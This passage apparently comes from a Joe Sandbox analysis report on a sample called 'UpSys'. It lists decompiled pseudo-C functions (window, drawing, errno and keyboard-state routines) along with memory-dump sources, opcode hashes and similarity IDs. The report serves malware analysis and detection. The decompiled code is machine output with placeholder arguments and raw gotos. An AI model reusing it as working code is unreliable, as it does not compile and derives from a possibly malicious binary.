				if ( *((char*)(_t93 + 0x68)) == 0) goto 0x4004d7b9;
				ShowWindow(??, ??);
				E00000001140041BD0(_t73, _t74,  *_t93, _t95, _t97);
				goto 0x4004d6f5;
				return 0;
			}












                                                                                                                                                                                                        0x14004d610
                                                                                                                                                                                                        0x14004d610
                                                                                                                                                                                                        0x14004d610
                                                                                                                                                                                                        0x14004d615
                                                                                                                                                                                                        0x14004d61f
                                                                                                                                                                                                        0x14004d624
                                                                                                                                                                                                        0x14004d635
                                                                                                                                                                                                        0x14004d63b
                                                                                                                                                                                                        0x14004d63d
                                                                                                                                                                                                        0x14004d646
                                                                                                                                                                                                        0x14004d64f
                                                                                                                                                                                                        0x14004d65a
                                                                                                                                                                                                        0x14004d661
                                                                                                                                                                                                        0x14004d664
                                                                                                                                                                                                        0x14004d66d
                                                                                                                                                                                                        0x14004d671
                                                                                                                                                                                                        0x14004d67a
                                                                                                                                                                                                        0x14004d67c
                                                                                                                                                                                                        0x14004d68d
                                                                                                                                                                                                        0x14004d692
                                                                                                                                                                                                        0x14004d699
                                                                                                                                                                                                        0x14004d69c
                                                                                                                                                                                                        0x14004d6a2
                                                                                                                                                                                                        0x14004d6a6
                                                                                                                                                                                                        0x14004d6ab
                                                                                                                                                                                                        0x14004d6b5
                                                                                                                                                                                                        0x14004d6b7
                                                                                                                                                                                                        0x14004d6ba
                                                                                                                                                                                                        0x14004d6c0
                                                                                                                                                                                                        0x14004d6c5
                                                                                                                                                                                                        0x14004d6c9
                                                                                                                                                                                                        0x14004d6cb
                                                                                                                                                                                                        0x14004d6cd
                                                                                                                                                                                                        0x14004d6d5
                                                                                                                                                                                                        0x14004d6de
                                                                                                                                                                                                        0x14004d6e4
                                                                                                                                                                                                        0x14004d6eb
                                                                                                                                                                                                        0x14004d6f1
                                                                                                                                                                                                        0x14004d6fa
                                                                                                                                                                                                        0x14004d703
                                                                                                                                                                                                        0x14004d70e
                                                                                                                                                                                                        0x14004d717
                                                                                                                                                                                                        0x14004d719
                                                                                                                                                                                                        0x14004d71c
                                                                                                                                                                                                        0x14004d725
                                                                                                                                                                                                        0x14004d728
                                                                                                                                                                                                        0x14004d72d
                                                                                                                                                                                                        0x14004d731
                                                                                                                                                                                                        0x14004d738
                                                                                                                                                                                                        0x14004d73d
                                                                                                                                                                                                        0x14004d742
                                                                                                                                                                                                        0x14004d747
                                                                                                                                                                                                        0x14004d74c
                                                                                                                                                                                                        0x14004d750
                                                                                                                                                                                                        0x14004d754
                                                                                                                                                                                                        0x14004d75f
                                                                                                                                                                                                        0x14004d75f
                                                                                                                                                                                                        0x14004d763
                                                                                                                                                                                                        0x14004d769
                                                                                                                                                                                                        0x14004d76e
                                                                                                                                                                                                        0x14004d772
                                                                                                                                                                                                        0x14004d778
                                                                                                                                                                                                        0x14004d782
                                                                                                                                                                                                        0x14004d788
                                                                                                                                                                                                        0x14004d792
                                                                                                                                                                                                        0x14004d798
                                                                                                                                                                                                        0x14004d79f
                                                                                                                                                                                                        0x14004d7af
                                                                                                                                                                                                        0x14004d7b4
                                                                                                                                                                                                        0x14004d7ca

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Show$LockUpdate$EnableInvalidateLongRect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1084233729-0
                                                                                                                                                                                                        • Opcode ID: 75506e87b6eab8db99041db82381f5863fc6345ad6cc8a4315be869521f241e0
                                                                                                                                                                                                        • Instruction ID: 299acba999bed9a502d6a986ba6bd76e5c59ed576a1009555d2ae997cf5c75a0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 75506e87b6eab8db99041db82381f5863fc6345ad6cc8a4315be869521f241e0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6051C53120C680A6F76B8B2BA5983E93791A78E7C4F164037F70947AF1DB799895C30D
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004D2B0 Relevance: 12.1, APIs: 8, Instructions: 100windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3864802216-0
                                                                                                                                                                                                        • Opcode ID: d80b98f870613c6d3dc3d04c2a49725f3ca903cb9b05fc41784333855aa94c5e
                                                                                                                                                                                                        • Instruction ID: 8fc7dcc5a201b36b4602f427d3e9dfdc1fa5d051c8820bcb18f556d709ee746a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d80b98f870613c6d3dc3d04c2a49725f3ca903cb9b05fc41784333855aa94c5e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C14178726146C187E769CB22E444BAFBBA5F398BD5F044129EF9A47B68CB38C4458B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002A618 Relevance: 12.1, APIs: 8, Instructions: 89COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 69%
                                                                                                                                                                                                        			E0000000114002A618(void* __ebx, signed int __ecx, void* __esi, intOrPtr* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __rbp, void* __r8, signed int _a8, long long _a16, long long _a24) {
				signed long long _v56;
				void* __rdi;
				void* __r12;
				void* _t30;
				void* _t47;
				intOrPtr* _t52;
				signed long long _t54;
				signed long long _t55;
				signed long long _t63;
				signed long long _t65;
				signed long long _t68;
				void* _t75;
				void* _t76;
				signed long long _t78;

				_t74 = __r8;
				_t70 = __rbp;
				_t60 = __rcx;
				_t30 = __ebx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a8 = __ecx;
				r12d = r8d;
				_t76 = __rdx;
				_t58 = __ecx;
				if (__ebx != 0xfffffffe) goto 0x4002a65e;
				E0000000114001EB04(__ebx - 0xfffffffe, __rax);
				 *__rax = 0;
				E0000000114001EAE4(__ebx - 0xfffffffe, __rax);
				 *__rax = 9;
				goto 0x4002a737;
				if (__ebx < 0) goto 0x4002a70d;
				_t47 = _t30 -  *0x400c88bc; // 0x20
				if (_t47 >= 0) goto 0x4002a70d;
				_t78 = __ecx >> 5;
				_t68 = __ecx * 0x58;
				_t52 =  *((intOrPtr*)(0x400c88c0 + _t78 * 8));
				if (_t47 != 0) goto 0x4002a6c6;
				E0000000114001EB04(_t47, _t52);
				 *_t52 = 0;
				E0000000114001EAE4(_t47, _t52);
				 *_t52 = 9;
				_v56 = _t63;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(_t52, __ecx, __rcx, __rdx, _t68, __rbp, __r8);
				goto 0x4002a737;
				E00000001140022130(_t30, _t30, _t58, _t63, _t68, _t75);
				_t54 =  *((intOrPtr*)(0x400c88c0 + _t78 * 8));
				_t48 =  *(_t54 + _t68 + 8) & 0x00000001;
				if (( *(_t54 + _t68 + 8) & 0x00000001) == 0) goto 0x4002a6eb;
				r8d = r12d;
				E0000000114002A580(_t30, _t30, 0,  *(_t54 + _t68 + 8) & 0x00000001, _t54, _t58, _t76, _t68, _t70, _t74);
				goto 0x4002a701;
				E0000000114001EAE4( *(_t54 + _t68 + 8) & 0x00000001, _t54);
				 *_t54 = 9;
				E0000000114001EB04( *(_t54 + _t68 + 8) & 0x00000001, _t54);
				 *_t54 = 0;
				_t65 = _t54 | 0xffffffff;
				E000000011400221D8();
				_t55 = _t65;
				goto 0x4002a737;
				E0000000114001EB04(_t48, _t55);
				 *_t55 = 0;
				E0000000114001EAE4(_t48, _t55);
				 *_t55 = 9;
				_v56 = _t65;
				r9d = 0;
				r8d = 0;
				return E0000000114001EA14(_t55, _t58, _t60, _t76, _t68, _t70, _t74);
			}

















                                                                                                                                                                                                        0x14002a618
                                                                                                                                                                                                        0x14002a618
                                                                                                                                                                                                        0x14002a618
                                                                                                                                                                                                        0x14002a618
                                                                                                                                                                                                        0x14002a618
                                                                                                                                                                                                        0x14002a61d
                                                                                                                                                                                                        0x14002a622
                                                                                                                                                                                                        0x14002a633
                                                                                                                                                                                                        0x14002a636
                                                                                                                                                                                                        0x14002a639
                                                                                                                                                                                                        0x14002a63f
                                                                                                                                                                                                        0x14002a641
                                                                                                                                                                                                        0x14002a648
                                                                                                                                                                                                        0x14002a64a
                                                                                                                                                                                                        0x14002a64f
                                                                                                                                                                                                        0x14002a659
                                                                                                                                                                                                        0x14002a662
                                                                                                                                                                                                        0x14002a668
                                                                                                                                                                                                        0x14002a66e
                                                                                                                                                                                                        0x14002a67a
                                                                                                                                                                                                        0x14002a688
                                                                                                                                                                                                        0x14002a68c
                                                                                                                                                                                                        0x14002a698
                                                                                                                                                                                                        0x14002a69a
                                                                                                                                                                                                        0x14002a69f
                                                                                                                                                                                                        0x14002a6a1
                                                                                                                                                                                                        0x14002a6a6
                                                                                                                                                                                                        0x14002a6ac
                                                                                                                                                                                                        0x14002a6b1
                                                                                                                                                                                                        0x14002a6b4
                                                                                                                                                                                                        0x14002a6bb
                                                                                                                                                                                                        0x14002a6c4
                                                                                                                                                                                                        0x14002a6c8
                                                                                                                                                                                                        0x14002a6ce
                                                                                                                                                                                                        0x14002a6d2
                                                                                                                                                                                                        0x14002a6d7
                                                                                                                                                                                                        0x14002a6d9
                                                                                                                                                                                                        0x14002a6e1
                                                                                                                                                                                                        0x14002a6e9
                                                                                                                                                                                                        0x14002a6eb
                                                                                                                                                                                                        0x14002a6f0
                                                                                                                                                                                                        0x14002a6f6
                                                                                                                                                                                                        0x14002a6fb
                                                                                                                                                                                                        0x14002a6fd
                                                                                                                                                                                                        0x14002a703
                                                                                                                                                                                                        0x14002a708
                                                                                                                                                                                                        0x14002a70b
                                                                                                                                                                                                        0x14002a70d
                                                                                                                                                                                                        0x14002a712
                                                                                                                                                                                                        0x14002a714
                                                                                                                                                                                                        0x14002a719
                                                                                                                                                                                                        0x14002a71f
                                                                                                                                                                                                        0x14002a724
                                                                                                                                                                                                        0x14002a727
                                                                                                                                                                                                        0x14002a74e

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __doserrno_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 921712934-0
                                                                                                                                                                                                        • Opcode ID: 31c5f9b9239c66265bffa12665e9dcd94ea59481686cbd8e3ab020dd00b717d0
                                                                                                                                                                                                        • Instruction ID: 1cf096f5c42a8776fa0d4d966195214aeafaa32a6570f8f1337424888043e2fe
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 31c5f9b9239c66265bffa12665e9dcd94ea59481686cbd8e3ab020dd00b717d0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C931AE3221469082EB17AF27A84579E6661B7897F0F954719BF360BBE2CE3D8801CB15
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400828C0 Relevance: 12.1, APIs: 8, Instructions: 85COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: InitVariant$malloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1069402233-0
                                                                                                                                                                                                        • Opcode ID: 7f659e470c7071780ed79041a01d23a58231a3a8b4f8725c4d005ef0d6b14836
                                                                                                                                                                                                        • Instruction ID: f3fda9f4279d8c2d074a3cdb4473081874c416d28584840fdd20bd6d34c3722f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7f659e470c7071780ed79041a01d23a58231a3a8b4f8725c4d005ef0d6b14836
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A4415D33210A89C6EB11DF26E44879D77A0F798F98F584125EB4E473A9DF79C94AC340
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003F810 Relevance: 12.0, APIs: 8, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClearVariant
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1473721057-0
                                                                                                                                                                                                        • Opcode ID: f84fe8ae0db6a4fef2ba93f9a121561e76ef9b85da041defb0d3435882be54b6
                                                                                                                                                                                                        • Instruction ID: 8ac0a75e2de7e8463d3f0efe66bd64bc6eadcc770b2bebfd8a8af0b8b43ac29b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f84fe8ae0db6a4fef2ba93f9a121561e76ef9b85da041defb0d3435882be54b6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D601DE3216498692EF46AF32E8587EA6760F758B89F584031E74F470B5EF38C98BC350
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400546D0 Relevance: 10.7, APIs: 7, Instructions: 213COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 55%
                                                                                                                                                                                                        			E000000011400546D0(void* __edx, long long __rbx, void* __rdx, void* __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				intOrPtr _t36;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t43;
				char* _t57;
				void* _t61;
				int _t70;
				void* _t73;
				void* _t75;
				void* _t77;
				void* _t78;
				struct HDC__* _t81;
				void* _t83;
				void* _t87;
				void* _t91;

				 *((long long*)(_t77 + 8)) = __rbx;
				_push(_t75);
				_t78 = _t77 - 0x40;
				r15d = 0;
				r12b = 0;
				_t61 = __r8;
				_t2 = _t91 - 2; // -2
				_t43 = _t2;
				_t73 = __rdx;
				 *((intOrPtr*)(_t78 + 0x90)) = r12b;
				_t4 = _t75 + 3; // 0x1
				_t39 = _t4;
				 *((intOrPtr*)(_t78 + 0x98)) = _t39;
				if (__r8 == 0) goto 0x40054819;
				 *((intOrPtr*)(_t78 + 0x28)) = _t39;
				r9d = _t43;
				 *(_t78 + 0x20) =  *(_t78 + 0x20) & 0;
				 *((intOrPtr*)(_t78 + 0x30)) = 0;
				r8d = r15d;
				E00000001140054440(__r8, __rdx, _t70, __rdx, _t75, _t91, _t87, _t83);
				if ( *((intOrPtr*)(_t61 + 0x18)) <= 0) goto 0x4005480c;
				_t57 = _t61 + 0x81c;
				 *((long long*)(_t78 + 0x38)) = _t57;
				_t40 =  *((intOrPtr*)(_t61 + 0x1c));
				r12d =  *((intOrPtr*)(_t61 + 0x20));
				if ( *_t57 == 8) goto 0x400549cd;
				if ( *_t57 == 0xa) goto 0x40054966;
				if ( *_t57 == 0xc) goto 0x400548f1;
				if ( *_t57 == 0xe) goto 0x40054873;
				if ( *_t57 == 0x10) goto 0x40054846;
				if ( *_t57 == 0x12) goto 0x400547c4;
				if ( *_t57 == 0x14) goto 0x400547a8;
				r12b =  *((intOrPtr*)(_t78 + 0x90));
				if ( *_t57 != 0x18) goto 0x400547e6;
				 *((intOrPtr*)(_t78 + 0x98)) = _t40;
				goto 0x400547ed;
				if (_t40 == 0) goto 0x40054a25;
				r12b = 1;
				 *((intOrPtr*)(_t78 + 0x90)) = r12b;
				goto 0x400547ed;
				r9d = r15d;
				r8d = r12d;
				SetPixel(_t81, _t70);
				r12b =  *((intOrPtr*)(_t78 + 0x90));
				_t36 =  *((intOrPtr*)(_t78 + 0x30)) + 1;
				 *((intOrPtr*)(_t78 + 0x30)) = _t36;
				 *((long long*)(_t78 + 0x38)) =  *((intOrPtr*)(_t78 + 0x38)) + 1;
				if (_t36 -  *((intOrPtr*)(_t61 + 0x18)) < 0) goto 0x40054754;
				if ( *((intOrPtr*)(_t61 + 8)) != 0) goto 0x4005470f;
				r8d = _t43;
				E0000000114003CBF0( *((intOrPtr*)(_t61 + 8)), _t73);
				return r12b;
			}





















                                                                                                                                                                                                        0x1400546d0
                                                                                                                                                                                                        0x1400546d5
                                                                                                                                                                                                        0x1400546e0
                                                                                                                                                                                                        0x1400546e4
                                                                                                                                                                                                        0x1400546e7
                                                                                                                                                                                                        0x1400546ea
                                                                                                                                                                                                        0x1400546ed
                                                                                                                                                                                                        0x1400546ed
                                                                                                                                                                                                        0x1400546f1
                                                                                                                                                                                                        0x1400546f4
                                                                                                                                                                                                        0x1400546fc
                                                                                                                                                                                                        0x1400546fc
                                                                                                                                                                                                        0x1400546ff
                                                                                                                                                                                                        0x140054709
                                                                                                                                                                                                        0x140054711
                                                                                                                                                                                                        0x140054715
                                                                                                                                                                                                        0x140054718
                                                                                                                                                                                                        0x14005471c
                                                                                                                                                                                                        0x140054727
                                                                                                                                                                                                        0x14005472d
                                                                                                                                                                                                        0x140054736
                                                                                                                                                                                                        0x140054740
                                                                                                                                                                                                        0x14005474b
                                                                                                                                                                                                        0x140054757
                                                                                                                                                                                                        0x14005475b
                                                                                                                                                                                                        0x14005475e
                                                                                                                                                                                                        0x140054767
                                                                                                                                                                                                        0x140054770
                                                                                                                                                                                                        0x140054779
                                                                                                                                                                                                        0x140054782
                                                                                                                                                                                                        0x14005478b
                                                                                                                                                                                                        0x140054790
                                                                                                                                                                                                        0x140054795
                                                                                                                                                                                                        0x14005479d
                                                                                                                                                                                                        0x14005479f
                                                                                                                                                                                                        0x1400547a6
                                                                                                                                                                                                        0x1400547b1
                                                                                                                                                                                                        0x1400547b7
                                                                                                                                                                                                        0x1400547ba
                                                                                                                                                                                                        0x1400547c2
                                                                                                                                                                                                        0x1400547c4
                                                                                                                                                                                                        0x1400547c7
                                                                                                                                                                                                        0x1400547cf
                                                                                                                                                                                                        0x1400547de
                                                                                                                                                                                                        0x1400547ed
                                                                                                                                                                                                        0x1400547fd
                                                                                                                                                                                                        0x140054801
                                                                                                                                                                                                        0x140054806
                                                                                                                                                                                                        0x140054813
                                                                                                                                                                                                        0x140054820
                                                                                                                                                                                                        0x140054826
                                                                                                                                                                                                        0x140054845

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4082120231-0
                                                                                                                                                                                                        • Opcode ID: c96add343226c8c38d4e99a08eb0129e0c2c36f7522aaf01c8221697b0cab265
                                                                                                                                                                                                        • Instruction ID: a5102da9737eefd6e1e7cb8ff6e4bc6885e19e18dc0b3658263a777cf1f2b956
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c96add343226c8c38d4e99a08eb0129e0c2c36f7522aaf01c8221697b0cab265
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B89151726282D487E766CF26A444BDEBB64F389BD8F445105FB8A03BA5CB39D546CF00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400513F0 Relevance: 10.7, APIs: 7, Instructions: 152windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 26%
                                                                                                                                                                                                        			E000000011400513F0(void* __rax, long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rsi, void* __rbp, long long _a8, long long _a16) {
				void* _v8;
				signed int _v103;
				signed int _v104;
				signed int _v173;
				signed int _v246;
				signed int _v247;
				signed char _v248;
				void* _v264;
				long long _v280;
				void* __rdi;
				signed char _t62;
				intOrPtr* _t125;

				_a8 = __rbx;
				_a16 = __rsi;
				_t125 = __rdx;
				if ( *__rdx != sil) goto 0x4005142b;
				if ( *((intOrPtr*)(__rdx + 1)) != sil) goto 0x4005142b;
				if ( *((intOrPtr*)(__rdx + 2)) != sil) goto 0x4005142b;
				if ( *((intOrPtr*)(__rdx + 3)) != sil) goto 0x4005142b;
				if ( *((intOrPtr*)(__rdx + 4)) == sil) goto 0x40051621;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __rsi) goto 0x4005158e;
				GetParent(??);
				if (__rax == __rsi) goto 0x4005158e;
				GetKeyboardState(??);
				r11b = 0x80;
				if ( *__rdx == sil) goto 0x4005146d;
				_t62 = _v248 | r11b;
				_v104 = _v104 | r11b;
				_v248 = _t62;
				if ( *((intOrPtr*)(__rdx + 1)) == sil) goto 0x40051482;
				_v103 = _v103 | r11b;
				_v248 = _t62 | r11b;
				if ( *((intOrPtr*)(__rdx + 2)) == sil) goto 0x4005148d;
				_v247 = _v247 | r11b;
				if ( *((intOrPtr*)(__rdx + 3)) == sil) goto 0x40051498;
				_v246 = _v246 | r11b;
				if ( *((intOrPtr*)(__rdx + 4)) == sil) goto 0x400514a6;
				_v173 = _v173 | r11b;
				SetKeyboardState(??);
				if ( *__rdx != sil) goto 0x400514bc;
				if ( *((intOrPtr*)(__rdx + 1)) == sil) goto 0x400514df;
				r8d = 0x10;
				PostMessageW(??, ??, ??, ??);
				if ( *((intOrPtr*)(__rdx + 2)) == sil) goto 0x40051508;
				r8d = 0x11;
				PostMessageW(??, ??, ??, ??);
				if ( *((intOrPtr*)(__rdx + 3)) == sil) goto 0x4005155c;
				if ( *((intOrPtr*)(__rdx + 2)) != sil) goto 0x40051534;
				if ( *((intOrPtr*)(__rcx + 0x20)) != sil) goto 0x40051534;
				goto 0x4005154c;
